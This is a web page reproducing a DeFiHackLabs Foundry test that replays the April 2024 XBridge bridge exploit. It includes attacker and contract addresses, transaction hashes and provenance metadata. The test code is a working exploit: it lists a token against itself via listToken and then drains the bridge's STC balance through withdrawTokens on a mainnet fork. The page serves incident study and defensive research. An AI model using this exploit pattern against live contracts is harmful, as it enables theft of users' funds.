Public reproduction file
src/test/2024-04/XBridge_exp.sol
Public reproduction file for dataset entry XBridge.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : ~$1.6M(https://debank.com/profile/0x0cfc28d16d07219249c6d6d6ae24e7132ee4caa7, >200k USD(plus a lot of STC, SRLTY, Mazi tokens))8// Attacker : https://etherscan.io/address/0x0cfc28d16d07219249c6d6d6ae24e7132ee4caa79// Vulnerable Contract : https://etherscan.io/address/0x354cca2f55dde182d36fe34d673430e226a3cb8c#code10// Attack Tx Step1(deposit) : https://etherscan.io/tx/0xe09d350d8574ac1728ab5797e3aa46841f6c97239940db010943f23ad4acf7ae11// Attack Tx Step2(withdrawToken): https://etherscan.io/tx/0x903d88a92cbc0165a7f662305ac1bff97430dbcccaa0fe71e101e18aa9109c9213// @Analysis14// https://twitter.com/CyversAlerts/status/178304550647143261016interface IXbridge {17 struct tokenInfo {18 address token;19 uint256 chain;20 }22 function listToken(23 tokenInfo memory baseToken,24 tokenInfo memory correspondingToken,25 bool _isMintable26 ) external payable;27 function withdrawTokens(address token, address receiver, uint256 amount) external;28}30contract ContractTest is Test {31 IERC20 STC = IERC20(0x19Ae49B9F38dD836317363839A5f6bfBFA7e319A);32 IXbridge xbridge = IXbridge(0x47Ddb6A433B76117a98FBeAb5320D8b67D468e31);34 function setUp() public {35 vm.createSelectFork("mainnet", 19_723_701 - 1);36 }38 function testExploit() public {39 // First TX40 deal(address(this), 0.15 ether);41 emit log_named_decimal_uint("Exploiter STC balance before attack", STC.balanceOf(address(this)), 9);43 IXbridge.tokenInfo memory base = IXbridge.tokenInfo(address(STC), 85_936);44 IXbridge.tokenInfo memory corr = IXbridge.tokenInfo(address(STC), 95_838);46 xbridge.listToken{value: 0.15 ether}(base, corr, false);48 xbridge.withdrawTokens(address(STC), address(this), STC.balanceOf(address(xbridge)));50 emit log_named_decimal_uint("Exploiter STC balance after attack", STC.balanceOf(address(this)), 9);51 }53 receive() external payable {}54}Analysis
Dataset entry
Public Foundry test for “XBridge” (2024-04-24). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-04/ATM_exp.solSame month in the dataset · 87 lines
- src/test/2024-04/BigBangSwap_exp.solSame month in the dataset · 118 lines
- src/test/2024-04/BNBX_exp.solSame month in the dataset · 70 lines
- src/test/2024-04/ChaingeFinance_exp.solSame month in the dataset · 145 lines
- src/test/2024-04/FIL314_exp.solSame month in the dataset · 55 lines
- src/test/2024-04/GFA_exp.solSame month in the dataset · 63 lines
- src/test/2024-04/GROKD_exp.solSame month in the dataset · 172 lines
- src/test/2024-04/Hackathon_exp.solSame month in the dataset · 63 lines
- src/test/2024-04/HedgeyFinance_exp.solSame month in the dataset · 149 lines
- src/test/2024-04/HoppyFrogERC_exp.solSame month in the dataset · 57 lines
- src/test/2024-04/MARS_exp.solSame month in the dataset · 101 lines
- src/test/2024-04/NGFS_exp.solSame month in the dataset · 91 lines
- src/test/2024-04/OpenLeverage2_exp.solSame month in the dataset · 239 lines
- src/test/2024-04/PikeFinance_exp.solSame month in the dataset · 70 lines
- src/test/2024-04/Rico_exp.solSame month in the dataset · 119 lines
- src/test/2024-04/SATX_exp.solSame month in the dataset · 82 lines
- src/test/2024-04/SQUID_exp.solSame month in the dataset · 86 lines
- src/test/2024-04/SumerMoney_exp.solSame month in the dataset · 144 lines
- src/test/2024-04/UnverifiedContr_0x00C409_exp.solSame month in the dataset · 96 lines
- src/test/2024-04/UPS_exp.solSame month in the dataset · 75 lines
- src/test/2024-04/WSM_exp.solSame month in the dataset · 84 lines
- src/test/2024-04/YIEDL_exp.solSame month in the dataset · 97 lines
- src/test/2024-04/Yield_exp.solSame month in the dataset · 94 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x0cfc28d16d07219249c6d6d6ae24e7132ee4caa7
- Vulnerable Contract
0x354cca2f55dde182d36fe34d673430e226a3cb8c
- Attack Tx
0xe09d350d8574ac1728ab5797e3aa46841f6c97239940db010943f23ad4acf7ae
- Attack Tx
0x903d88a92cbc0165a7f662305ac1bff97430dbcccaa0fe71e101e18aa9109c92
File record
- Name
- XBridge
- Path
- src/test/2024-04/XBridge_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- dfb3a9c4601b77c765779d9c155b101891ddcb35
- Language
- Solidity
- Size
- 55 lines
- Date
- 2024-04-24
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-04/XBridge_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob dfb3a9c4601b77c765779d9c155b101891ddcb35, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.